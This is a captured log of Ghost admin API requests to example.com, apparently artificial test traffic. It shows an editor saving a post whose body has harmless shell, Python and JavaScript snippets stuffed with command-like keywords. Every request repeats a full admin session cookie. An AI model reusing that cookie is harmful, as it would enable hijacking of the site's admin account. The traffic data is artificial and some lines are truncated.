shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8337", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Bid%3A-%276af458a5d281b00001a59969%27&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?filter=newsletters.slug%3Adefault-newsletter%2Bemail_disabled%3A0%2B%28status%3Afree%2Cstatus%3A-free%29&order=id&limit=1&page=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8061", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=id%3A6af458a5d281b00001a59969&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished&limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/tag-detail-BzYiFRvZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/breadcrumb-zc_bvTJr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/detail-page-mfw0499d.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/users/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/invites/?limit=100&include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tiers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/automated_emails/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/metafields/custom/?filter=status%3A%5Bactive%2Carchived%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/newsletters/?include=count.active_members%2Ccount.posts&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/recommendations/?include=count.clicks%2Ccount.subscribers&order=created_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/incoming_recommendations/?limit=5&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/stats/referrers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
